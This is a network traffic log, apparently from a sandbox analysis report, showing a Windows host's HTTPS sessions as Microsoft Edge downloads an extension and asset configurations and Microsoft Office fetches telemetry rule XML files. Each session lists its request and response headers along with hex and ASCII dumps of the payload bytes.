Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49852	23.218.232.182	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:37 UTC	622	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732363294&P2=404&P3=2&P4=CdgzXQbpJzljDjjdc1pZ%2bsO6q48%2f4UeF%2bh3X5%2bYTIUv%2b4f7zQWxaygEm5inZ7T3vFzTiW4M8NlTnc4BrfIHpiA%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: tqFr8hGRgUf89BJsr8QgCu Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:37 UTC	1246	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: e7437af1-4c66-4ec8-a252-471622ace2d3 MS-RequestId: ea3b0518-7c16-470c-81bc-1823764cf2e4 MS-CV: T1vl5TxAOcfCpC7Yx1h6nf.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86344 Date: Sat, 16 Nov 2024 12:01:37 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.193.38.53,b=400294390,c=g,n=US_TX_IRVING,o=20940],[c=c,n=US_TX_IRVING,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.3526c117.1731758497.17dc01f6 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-16 12:01:37 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:37 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:37 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0269dba3-501e-0035-248e-37c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120137Z-16547b76f7fkf5v9hC1DFW2y5s00000002r0000000001u7w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:37 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:37 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:37 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 416d43dc-f01e-003f-18d2-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120137Z-1866b5c5fbbwlv6nhC1DFWw4bs000000017g000000005765 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:37 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:37 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:37 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 6b1971c7-b01e-0053-1140-36cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120137Z-16547b76f7f5b5tthC1DFWuk8400000001f0000000001ea0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:37 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:37 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 818d7a8e-001e-005a-6101-36c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120137Z-1866b5c5fbbkcpv2hC1DFWf1yc00000002r000000000cxt0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:37 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49855	13.107.246.57	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:37 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:38 UTC	576	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:37 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 32fa03f4-d01e-004c-7ddf-37af18000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T120137Z-16547b76f7fj5p7mhC1DFWf8w40000000png00000000ae5h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:38 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-16 12:01:38 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-16 12:01:38 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-16 12:01:38 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-16 12:01:38 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49859	13.107.246.57	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:38 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:38 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:38 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: d7bf6e57-901e-0062-2dfb-372fdf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T120138Z-164f84587bfsgfx9hC1DFWw1as00000002mg0000000099fd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:38 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-16 12:01:38 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-16 12:01:38 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
